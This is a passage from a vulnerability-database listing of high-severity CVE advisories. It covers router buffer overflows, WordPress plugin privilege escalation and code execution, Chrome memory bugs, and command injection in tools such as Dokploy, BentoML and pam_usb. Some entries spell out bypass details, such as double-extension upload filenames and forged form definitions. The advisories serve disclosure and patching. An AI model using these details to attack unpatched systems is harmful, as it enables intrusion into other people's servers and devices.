it by checking for a target gfn mismatch and zapping the existing SPTE. That way the old SP and rmap entries are gone, KVM installs the rmap in the right location, and everyone is happy.	8.8	More Details
CVE-2026-10065	A weakness has been identified in Shibby Tomato 1.28. This vulnerability affects the function get_ups_field of the file tomatodata.cgi. Executing a manipulation of the argument Date can lead to stack-based buffer overflow. It is possible to launch the attack remotely. This project is superseded by FreshTomato. This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-6226	The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to unauthenticated privilege escalation in versions up to and including 3.29.2. This is due to insecure form submission handling that accepts arbitrary form definitions from user input instead of securely loading them from the backend. When $_POST['_acf_form'] is an array (rather than a form ID), the validate_form() function bypasses database lookup and directly processes the attacker-controlled structure. The create_record() function preserves attacker-supplied record data if present, and the user action's run() function falls back to attacker-controlled field definitions from $form['fields'] when legitimate fields cannot be found. The role field's pre_update_value() validation reads $field['role_options'] from this attacker-controlled definition, allowing an attacker to specify ['administrator'] as an allowed role and bypass the security check. This makes it possible for unauthenticated attackers to create administrator accounts by injecting a custom form configuration with a spoofed role field.	8.8	More Details
CVE-	A security vulnerability has been detected in Shibby Tomato up to 1.28. This issue affects the function		

2026-10066	sub_9068 of the file tomatoups.cgi of the component UPS Service. The manipulation leads to stack-based buffer overflow. The attack can be initiated remotely. This project is superseded by FreshTomato. This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-10067	A vulnerability was detected in Shibby Tomato 1.28. Impacted is the function sub_90F0 of the file multimon.cgi. The manipulation results in stack-based buffer overflow. The attack can be launched remotely. This project is superseded by FreshTomato. This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-9227	The GutenBee – Gutenberg Blocks plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.20.1 via the gutenbee_file_and_ext_json function. This is due to a flawed strpos() substring check that only verifies whether the filename contains the string '.json' rather than confirming the filename ends with a .json extension, allowing double-extension filenames like shell.json.php to bypass validation. This makes it possible for authenticated attackers, with author-level access and above, to upload files that may be executable, which makes remote code execution possible.	8.8	More Details
CVE-2026-35674	OpenClaw before 2026.5.18 contains a scope bypass vulnerability in the Gateway chat.send route that allows scoped clients to execute privileged commands. Attackers with operator.write scope can deliver commands through inherited external routes to bypass operator.approvals and operator.admin scope requirements, enabling unauthorized plugin, config, MCP, allowlist, and ACP mutations.	8.8	More Details
CVE-2026-9009	The Crawlomatic Multipage Scraper Post Generator plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.7.2 via the filter_content function. This is due to passing the attacker-supplied 'callback_raw' shortcode attribute directly into call_user_func() with no sanitization or allowlist validation, relying solely on an is_callable() check that permits dangerous PHP built-ins such as system, shell_exec, exec, passthru, and assert. This makes it possible for authenticated attackers, with author-level access and above, to execute code on the server. An identical sink exists for the 'callback' attribute, providing a second independent vector through the same shortcode.	8.8	More Details
CVE-2026-45662	Dokploy is a free, self-hostable Platform as a Service (PaaS). In 0.29.0 and earlier, the deleteRegistry function in Dokploy (packages/server/src/services/registry.ts) executes docker logout ${response.registryUrl} without shell escaping. In the same file, the docker login command correctly uses shEscape() to prevent command injection. This inconsistency creates a command injection vulnerability when deleting a registry with a crafted registryUrl.	8.8	More Details
CVE-2026-7802	The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.29.2. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to overwrite an administrator's user_pass, user_email, first_name, last_name, and other profile fields by supplying an arbitrary ?user_id= value, enabling full administrator account takeover via direct password replacement or email-redirect password reset. Exploitation requires the targeted Edit-User form to have its 'Roles' configuration setting left empty; when a non-empty roles list is configured, load_data() sets the user ID to 'none' for users whose roles fall outside the allowed list, preventing administrators from being targeted through that form.	8.8	More Details
CVE-2026-47125	Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 1.19.2, the PUT /api/environments/{id}/templates/variables endpoint, which writes the system-wide .env.global file used for variable substitution in every project's compose file, is missing an admin authorization check. Any authenticated non-admin user can call this endpoint with their bearer token or API key and overwrite the global environment variables that are merged into every project deployment. By overriding values like REGISTRY, IMAGE, DATABASE_URL, or SECRET_KEY that other users reference via ${VAR} in compose files, an attacker can redirect image pulls to attacker-controlled registries (supply-chain RCE on the Docker host), exfiltrate database credentials, or disrupt all projects. This vulnerability is fixed in 1.19.2.	8.8	More Details
CVE-2026-8915	Out-of-bounds write vulnerability in Samsung Open Source Escargot allows Overflow Buffers. This issue affects Escargot: 36f5fb58366a67b713c02f6fd985e924fcc09e31.	8.8	More Details
CVE-2026-5768	The Frontier X2 device allows unauthenticated BLE read/write access to critical GATT characteristics without enforcing pairing authentication or authorization. This allows attackers within BLE range to perform unauthorized control of device functions, including starting/stopping activities, triggering vibrations, causing denial-of-service conditions, and fuzzing characteristic values to induce unexpected behavior. Additionally, the Frontier X mobile application lacks proper BLE device authentication, allowing attackers to impersonate a legitimate Frontier X2 device and connect to the application. By cloning BLE advertisements and exposing expected GATT characteristics, attackers can manipulate activity states and inject fabricated health telemetry such as breathing rate, heart rate, strain, and other health-related data into the mobile application.	8.8	More Details
CVE-2026-	Microsoft UFO open-source framework for intelligent automation across devices and platforms. In 3.0.1-4-ge2626659, Microsoft UFO's WebSocket control plane trusts client-supplied identity and role fields in task messages. A client connection can register as a normal device, but later send a TASK message claiming client_type="constellation" and target_id=<victim-device-id>. The server trusts the role and target values from the wire message rather than enforcing the role registered for that WebSocket connection. As a result,	8.8	More

46414	any authenticated WebSocket client with the shared server token can spoof the higher-privilege constellation role and dispatch attacker-controlled tasks to another connected device. The same client registry also allows duplicate client_id registration, overwriting an existing live client's stored websocket, role, and task protocol. This is an authenticated WebSocket role/identity spoofing issue leading to peer task hijacking.		Details
CVE-2026-9208	Tanium addressed an unauthorized code execution vulnerability in Connect.	8.8	More Details
CVE-2026-44713	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.8.7, src/tmux.c reads the user's $TMUX environment variable, splits it on commas, and interpolates the socket-path component directly into a shell command passed to popen(). Because the value is placed inside double-quotes without sanitisation, any value containing " terminates the quoted string and injects arbitrary shell syntax. popen() runs as root inside the PAM stack. This vulnerability is fixed in 0.8.7.	8.8	More Details
CVE-2026-44420	FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.26.0, a malicious RDP client can trigger a heap-buffer-overflow write in FreeRDP's server-side clipboard (cliprdr) channel by sending a CB_CLIP_CAPS PDU with a too-small capabilitySetLength. This can crash the server process (remote DoS) and may be exploitable for code execution because it corrupts heap memory. This vulnerability is fixed in 3.26.0.	8.8	More Details
CVE-2026-44421	FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.26.0, a malicious RDP server can trigger a heap-buffer-overflow write in the FreeRDP client by sending crafted RDPGFX PDUs. The bug is in gdi_CacheToSurface: it validates a destination rectangle that is clamped to UINT16_MAX, but then performs the copy using the original cacheEntry->width/height. This can cause a large out-of-bounds heap write and may lead to client crashes or code execution. This bug is reachable from a malicious RDP server, but only when the client has RDPGFX enabled. This vulnerability is fixed in 3.26.0.	8.8	More Details
CVE-2026-10062	A vulnerability was determined in TRENDnet TEW-432BRP 3.10B20. Affected by this vulnerability is the function formSetRoute of the file /goform/formSetRoute. This manipulation of the argument ip/mask/gateway causes stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-46152	In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: drop stray 'static' from fast-RX rx_result ieee80211_invoke_fast_rx() is documented as safe for parallel RX, but its per-invocation rx_result is declared static. Concurrent callers then share one instance and can overwrite each other's result between ieee80211_rx_mesh_data() and the switch on res. That can make a packet that was queued or consumed by ieee80211_rx_mesh_data() fall through into ieee80211_rx_8023(), or make a packet that should continue return as queued. Make res an automatic variable so each invocation keeps its own result.	8.8	More Details
CVE-2026-45578	WWBN AVideo is an open source video platform. In 29.0 and earlier, there is a classic shell-metacharacter injection. The YPTSocket notification branch in plugin/Live/on_publish.php builds an execAsync() command line by string concatenation, single-quoting each argument but never calling escapeshellarg(). A ' in any of the three interpolated values ($users_id, $m3u8, $obj->liveTransmitionHistory_id) closes the quoted token and lets the attacker append arbitrary commands.	8.8	More Details
CVE-2026-9983	Type Confusion in Skia in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9968	Integer overflow in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-8832	The WPCode - Insert Headers and Footers + Custom Code Snippets - WordPress Code Manager plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 2.3.5 This is due to the 'wpcode' custom post type being registered without a custom capability_type or capability restrictions in the wpcode_register_post_type() function, allowing WordPress core to fall back to standard post capabilities for all creation paths including XML-RPC. This makes it possible for authenticated attackers, with author-level access and above, to create and publish executable PHP snippet posts via XML-RPC wp.newPost, which are then executed server-side via eval() in the run_eval() function when the snippet is rendered through the [wpcode] shortcode.	8.8	More Details
CVE-2026-9969	Insufficient validation of untrusted input in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9973	Out of bounds write in V8 in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details

CVE-2026-9976	Inappropriate implementation in USB in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-10293	A flaw has been found in UTT HiPER 1200GW up to 2.5.3-170306. This impacts the function strcpy of the file /goform/formFireWall. This manipulation of the argument Profile causes stack-based buffer overflow. Remote exploitation of the attack is possible. The exploit has been published and may be used.	8.8	More Details
CVE-2026-10292	A vulnerability was detected in UTT HiPER 1200GW up to 2.5.3-170306. This affects the function strcpy of the file /goform/formTaskEdit. The manipulation results in stack-based buffer overflow. The attack may be launched remotely. The exploit is now public and may be used.	8.8	More Details
CVE-2026-46238	In the Linux kernel, the following vulnerability has been resolved: batman-adv: stop caching unowned originator pointers in BAT IV BAT IV keeps the last-hop neighbor address in each neigh_node, but some paths also cache an originator pointer derived from a temporary lookup. That pointer is not owned by the neigh_node and may no longer refer to a live originator entry after purge handling runs. Stop storing the auxiliary originator pointer in the BAT IV neighbor state. When BAT IV needs the neighbor originator data, resolve it from the stored neighbor address and drop the reference again after use. [sven: avoid bonding logic for outgoing OGM]	8.8	More Details
CVE-2026-9978	Use after free in Glic in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9984	Use after free in UI in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-44239	FreePBX is an open source IP PBX. Prior to 16.0.22 and 17.0.5, the Dashboard module's getcontent AJAX handler includes PHP files based on user-supplied input without path sanitization. The $_REQUEST['rawname'] parameter is concatenated into an include() call with a .class.php suffix, allowing path traversal via ../ sequences to include arbitrary .class.php files from the filesystem. The included file's PHP code executes before the subsequent class instantiation error occurs. This vulnerability is fixed in 16.0.22 and 17.0.5.	8.8	More Details
CVE-2026-9992	Use after free in Network in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9995	Use after free in WebXR in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2026-9999	Inappropriate implementation in ANGLE in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)	8.8	More Details
CVE-2025-11993	The WooCommerce Infinite Scroll and Ajax Pagination plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.8 via the 'settings' parameter in the 'import_settings' function. This is due to deserialization of untrusted data supplied via the import configuration feature without capability checks. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject a PHP Object. No POP chain is present within the vulnerable plugin itself, but if a POP chain is present via an additional plugin or theme installed on the target system, it could allow an attacker to delete arbitrary files, retrieve sensitive data, or execute code.	8.8	More Details
CVE-2026-46212	In the Linux kernel, the following vulnerability has been resolved: batman-adv: bla: prevent use-after-free when deleting claims When batadv_bla_del_backbone_claims() removes all claims for a backbone, it does this by dropping the link entry in the hash list. This list entry itself was one of the references which need to be dropped at the same time via batadv_claim_put(). But the batadv_claim_put() must not be done before the last access to the claim object in this function. Otherwise the claim might be freed already by the batadv_claim_release() function before the list entry was dropped.	8.8	More Details
CVE-2026-46198	In the Linux kernel, the following vulnerability has been resolved: batman-adv: fix integer overflow on buff_pos Fixing an integer overflow present in batadv_iv_ogm_send_to_if. The size check is done using the int type in batadv_iv_ogm_aggr_packet whereas the buff_pos variable uses the s16 type. This could lead to an out-of-bound read.	8.8	More Details
CVE-2026-46174	In the Linux kernel, the following vulnerability has been resolved: x86/CPU/AMD: Prevent improper isolation of shared resources in Zen2's op cache Make sure resources are not improperly shared in the op cache and cause instruction corruption this way.	8.8	More Details
CVE-2026-46166	In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: use safe list iteration in radar detect work The call to ieee80211_dfs_cac_cancel can cause the iterated chanctx to be freed and removed from the list. Guard against this to avoid a slab-use-after-free error.	8.8	More Details

CVE-2026-44238	FreePBX is an open source IP PBX. Prior to 16.0.50 and 17.0.11, the CDR Reports module page allows SQL injection through the order and sort POST parameters. Authentication with a FreePBX Administration Control Panel account that has CDR section access is required. Full administrator privileges are not needed. This vulnerability is fixed in 16.0.50 and 17.0.11.	8.8	More Details
CVE-2026-45717	Budibase is an open-source low-code platform. Prior to 3.38.1, Budibase exposes a REST API for datasource management. The route PUT /api/datasources/:datasourceId is registered in the authorizedRoutes group with TABLE/READ permission. This is the same authorization level as the read endpoint (GET /api/datasources/:datasourceId). Every authenticated Budibase app user with the BASIC built-in role or higher carries TABLE/WRITE (and therefore TABLE/READ) permissions, and the datasource update controller performs no additional builder check. As a result, any authenticated non-builder app user can submit a PUT request to rewrite a datasource's config object — including the connection host, port, database credentials, or the base url of a REST datasource. Because no network-level SSRF protection is applied to SQL driver connections, redirecting a PostgreSQL/MySQL/MongoDB datasource to an internal IP address succeeds and the attacker can probe or interact with internal services on arbitrary ports. This vulnerability is fixed in 3.38.1.	8.8	More Details
CVE-2026-44521	elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.68, an authenticated SQL injection vulnerability in the elFinder MySQL volume driver (elFinderVolumeMySQL) allows any logged-in user, including users with read-only access to the affected volume, to inject SQL through a crafted target file hash. Successful exploitation can lead to unauthorized data disclosure and denial of service. This vulnerability only affects installations configured to use the MySQL volume driver. This vulnerability is fixed in 2.1.68.	8.8	More Details
CVE-2026-35671	phpMyFAQ before 4.1.3 contains an insecure direct object reference vulnerability in the admin API user password endpoint that allows authenticated administrators to change any user's password without authorization verification. An attacker with low-privilege admin credentials can escalate to SuperAdmin by modifying the userId parameter in the overwrite-password API request.	8.8	More Details
CVE-2026-44346	BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, a malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. This vulnerability is fixed in 1.4.39.	8.8	More Details
CVE-2026-10163	A vulnerability has been found in Edimax BR-6478AC 1.23. This issue affects the function formUSBAccount of the file /goform/formUSBAccount of the component POST Request Handler. The manipulation of the argument UserName/Password leads to buffer overflow. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.	8.8	More Details
CVE-2026-10164	A vulnerability was found in Edimax BR-6478AC 1.23. Impacted is the function formUSBFolder of the file /goform/formUSBFolder of the component POST Request Handler. The manipulation of the argument ShareName/SelectName results in buffer overflow. The attack can be executed remotely. The exploit has been made public and could be used.	8.8	More Details
CVE-2026-10165	A vulnerability was identified in Edimax BR-6478AC 1.23. The impacted element is the function formWanTcpipSetup of the file /goform/formWanTcpipSetup of the component POST Request Handler. Such manipulation of the argument pppUserName leads to stack-based buffer overflow. The attack may be performed from remote. The exploit is publicly available and might be used.	8.8	More Details
CVE-2026-10179	A flaw has been found in TRENDnet TEW-432BRP 3.10B20. This issue affects the function formSetWlanEncrypt of the file /goform/formSetWlanEncrypt. This manipulation of the argument webpage causes stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-10181	A vulnerability was found in TRENDnet TEW-432BRP 3.10B20. The affected element is the function formSysCmd of the file /goform/formSysCmd. Performing a manipulation of the argument submit-url results in stack-based buffer overflow. The attack can be initiated remotely. The exploit has been made public and could be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-9614	An Improper Access Control vulnerability in Ivanti Neurons for ITSM (cloud and on-premises) allows a remote authenticated attacker to gain administrative access.	8.8	More Details
CVE-2026-7770	IBM i Access Family 1.1.5.0 through 1.1.9.12 IBM i Access Client Solutions (ACS) is vulnerable to remote code execution when configured to listen for requests from IBM i Navigator.	8.8	More Details

CVE-2026-10183	A vulnerability was identified in TRENDnet TEW-432BRP 3.10B20. This affects the function formWlanSetup of the file /goform/formWlanSetup. The manipulation of the argument enrollee leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit is publicly available and might be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-10188	A flaw has been found in Tenda W12 3.0.0.7(4763). This affects the function cgistaKickOff of the file /bin/httpd. Executing a manipulation of the argument staMac can lead to stack-based buffer overflow. The attack may be performed from remote. The exploit has been published and may be used.	8.8	More Details
CVE-2026-10189	A vulnerability has been found in Tenda W12 3.0.0.7(4763). This vulnerability affects the function cgiSysTimeInfoSet of the file /bin/httpd. The manipulation of the argument sec leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.	8.8	More Details
CVE-2026-10191	A vulnerability was determined in Tenda W12 3.0.0.7(4763). Impacted is the function cgiWifiMacFilterSet of the file /bin/httpd. This manipulation of the argument wifiMacFilterSet.macList.mac causes stack-based buffer overflow. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized.	8.8	More Details
CVE-2026-10192	A vulnerability was identified in Tenda W12 3.0.0.7(4763). The affected element is the function set_local_time_0 of the file /bin/httpd. Such manipulation of the argument Time leads to stack-based buffer overflow. The attack can be launched remotely. The exploit is publicly available and might be used.	8.8	More Details
CVE-2026-46056	In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_event: fix potential UAF in SSP passkey handlers hci_conn lookup and field access must be covered by hdev lock in hci_user_passkey_notify_evt() and hci_keypress_notify_evt(), otherwise the connection can be freed concurrently. Extend the hci_dev_lock critical section to cover all conn usage in both handlers. Keep the existing keypress notification behavior unchanged by routing the early exits through a common unlock path.	8.8	More Details
CVE-2026-10206	A vulnerability was detected in D-Link DI-8400 up to 16.07.26A1. This affects an unknown function of the file /dbsrv.asp. Performing a manipulation of the argument str results in stack-based buffer overflow. Remote exploitation of the attack is possible. The exploit is now public and may be used. The initial researcher advisory mentions contradicting parameter names to be affected.	8.8	More Details
CVE-2026-42359	A bug in Apache Airflow's XCom PATCH endpoint `PATCH /api/v2/xcomEntries/{key}` allowed an authenticated UI/API user with XCom write permission on a Dag to set XCom entries under reserved key names (e.g. `return_value`) that the matching POST endpoint already validated against `FORBIDDEN_XCOM_KEYS`. The endpoint also accepted serialized payload shapes the triggerer's deserializer treats as code; combined, this allowed RCE on the triggerer when the affected task next deferred. Affects deployments where untrusted users have XCom write permission on Dags that defer to the triggerer. This is a fix-bypass of CVE-2026-33858: PR #64148 added the `FORBIDDEN_XCOM_KEYS` validator only on the POST/set path; the PATCH path was not covered. Users who already upgraded for CVE-2026-33858 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the PATCH-path bypass.	8.8	More Details
CVE-2026-45505	Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ. Non-parenthesized discovery wrappers such as `masterslave:vm://...,...` and `static:vm://...` incorrectly pass validation allowing bypass of fix in CVE-2026-34197. Original description from CVE-2026-34197. Apache ActiveMQ exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery UR that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ All: before 5.19.7, from 6.0.0 before 6.2.6; Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6. Users are recommended to upgrade to version 5.19.7 or 6.2.6, which fixes the issue.	8.8	More Details
CVE-2026-49157	Incorrect Default Permissions vulnerability in Apache ActiveMQ. This issue affects Apache ActiveMQ: before 5.19.7, from 6.0.0 before 6.2.6. The default Jolokia authorization settings granted non-admin (low-privilege) web-login accounts access to Jolokia operations which allowed executing broker management operations meant for admins such as addQueue and removeQueue. Users are recommended to upgrade to version 6.2.6 or 5.19.7, which fixes the issue.	8.8	More Details
CVE-	A bug in Apache Airflow's KubernetesExecutor caused JWT tokens used by worker pods to authenticate against the Execution API to be passed to the worker container as command-line arguments visible in the pod spec. An authenticated UI/API user with Kubernetes read-only access to the cluster (e.g. `pods/get` in the Airflow namespace) could harvest the JWT from `kubectl describe pod` output and then call state-mutating Execution API endpoints — triggering Dag runs, clearing runs, reading or writing Variables / Connections / XComs — as if they were a running task. Affects deployments using the `KubernetesExecutor`. Users are		More

2026-49298	advised to upgrade to `apache-airflow` 3.2.2 or later. This is the airflow-core half of the same vulnerability addressed by [CVE-2026-27173](https://www.cve.org/CVERecord?id=CVE-2026-27173), which shipped the apache-airflow-providers-cncf-kubernetes side of the fix. Deployments that already upgraded `apache-airflow-providers-cncf-kubernetes` to 10.17.0 or later per the CVE-2026-27173 advisory should additionally upgrade `apache-airflow` to 3.2.2 or later to close the core-side surface — the two fixes are complementary, not duplicates.	8.8	Details
CVE-2026-10259	A security vulnerability has been detected in H3C Magic B0 up to 100R002. The affected element is the function SetMobileAPInfoById of the file /goform/aspForm. Such manipulation of the argument param leads to stack-based buffer overflow. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	8.8	More Details
CVE-2026-10270	A vulnerability was detected in D-Link DI-7001 MINI up to 19.09.19A1. Impacted is the function sprintf of the file /httpd_debug.asp of the component API. The manipulation of the argument Time results in stack-based buffer overflow. The attack may be performed from remote. The exploit is now public and may be used.	8.8	More Details
CVE-2026-45945	In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Fix race condition during PASID entry replacement The Intel VT-d PASID table entry is 512 bits (64 bytes). When replacing an active PASID entry (e.g., during domain replacement), the current implementation calculates a new entry on the stack and copies it to the table using a single structure assignment. struct pasid_entry *pte, new_pte; pte = intel_pasid_get_entry(dev, pasid); pasid_pte_config_first_level(iommu, &new_pte, ...); *pte = new_pte; Because the hardware may fetch the 512-bit PASID entry in multiple 128-bit chunks, updating the entire entry while it is active (Present bit set) risks a "torn" read. In this scenario, the IOMMU hardware could observe an inconsistent state — partially new data and partially old data — leading to unpredictable behavior or spurious faults. Fix this by removing the unsafe "replace" helpers and following the "clear-then-update" flow, which ensures the Present bit is cleared and the required invalidation handshake is completed before the new configuration is applied.	8.8	More Details
CVE-2026-10162	A flaw has been found in TRENDnet TEW-432BRP 3.10B20. This vulnerability affects the function formSetPassword of the file /goform/formSetPassword. Executing a manipulation of the argument webpage can lead to stack-based buffer overflow. The attack may be launched remotely. The exploit has been published and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-10161	A vulnerability was detected in TRENDnet TEW-432BRP 3.10B20. This affects the function formResetStatistic of the file /goform/formResetStatistic. Performing a manipulation of the argument status_statistic results in stack-based buffer overflow. The attack may be initiated remotely. The exploit is now public and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-10160	A security vulnerability has been detected in TRENDnet TEW-432BRP 3.10B20. Affected by this issue is the function formSetEnableWizard of the file /goform/formSetEnableWizard. Such manipulation of the argument start_wizard leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-44988	LibVNCClient is a library for easy implementation of a VNC client. In 0.9.15 and earlier, LibVNCClient's Tight encoding decoder uses fixed-size 2048-pixel scratch buffers for the Gradient filter, but it does not reject Tight rectangles whose width is larger than 2048 pixels. A malicious VNC server can send a crafted FramebufferUpdate rectangle using Tight encoding with NoZlib | ExplicitFilter and the Gradient filter. When a LibVNCClient-based client connects, the client processes the server-controlled rectangle width and writes beyond fixed-size Gradient buffers. This vulnerability is fixed with commit 5b270544b85233668b98161323297d418a8f5fd1.	8.8	More Details
CVE-2026-44345	BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.	8.8	More Details
CVE-2026-38807	Insecure Permissions vulnerability in kvf-admin v1.0.0 allows a remote attacker to escalate privileges via the UserController.java component	8.8	More Details
CVE-	Spatie Laravel Media Library before version 11.23.0 contains a file upload restriction bypass in FileAdder::defaultSanitizer(). The sanitizer checks only the final filename suffix, allowing double-extension		

2026-48557	filenames such as shell.php.jpg to bypass the blocklist, with pathinfo() preserving inner .php stems in saved filenames. The blocklist also omits executable extensions including .php6, .shtml, and .htaccess. The double-extension bypass requires a legacy Apache AddHandler configuration to achieve PHP execution; the incomplete blocklist bypass does not.	8.8	More Details
CVE-2026-7465	The Spectra Gutenberg Blocks – Website Builder for the Block Editor plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.19.25. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server. Exploitation requires a two-block payload embedded in post content: the first block registers a fake uagb/-prefixed block type with an attacker-specified render_callback, and the second block of the same fake type triggers invocation of that callback via call_user_func() during sequential block rendering in the same page request.	8.8	More Details
CVE-2026-10119	A security vulnerability has been detected in TRENDnet TEW-432BRP 3.10B20. Impacted is the function formSetMACFilter of the file /goform/formSetMACFilter. The manipulation of the argument filter_name leads to stack-based buffer overflow. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2026-10120	A vulnerability was detected in TRENDnet TEW-432BRP 3.10B20. The affected element is the function formSetFirewallRule of the file /goform/formSetFirewallRule. The manipulation of the argument firewall_name results in stack-based buffer overflow. The attack can be executed remotely. The exploit is now public and may be used. The vendor explains: "This product has been EOL for 15 years (since 2009). As the item has been EOL for such a long time, we are not able to replicate or fix any vulnerabilities." This vulnerability only affects products that are no longer supported by the maintainer.	8.8	More Details
CVE-2018-25409	SIM-PKH 2.4.1 contains an arbitrary file upload vulnerability that allows authenticated attackers to upload malicious files by submitting PHP code through the fupload parameter. Attackers can upload PHP files via the aksi_pengurus.php endpoint with module=pengurus and act=update parameters, which are stored in the foto directory and executed as web scripts.	8.8	More Details
CVE-2026-36044	@pensar/apex <= 0.0.58 is vulnerable to OS command injection via the smart_enumerate tool. The createSmartEnumerateTool() function in src/core/agent/tools.ts constructs a shell command by concatenating unsanitized values from the extensions array and url parameter into a string passed to Node.js child_process.exec(). Because exec() spawns a shell, shell metacharacters in those values are interpreted by the host shell, resulting in arbitrary OS command execution with the privileges of the running process.	8.8	More Details
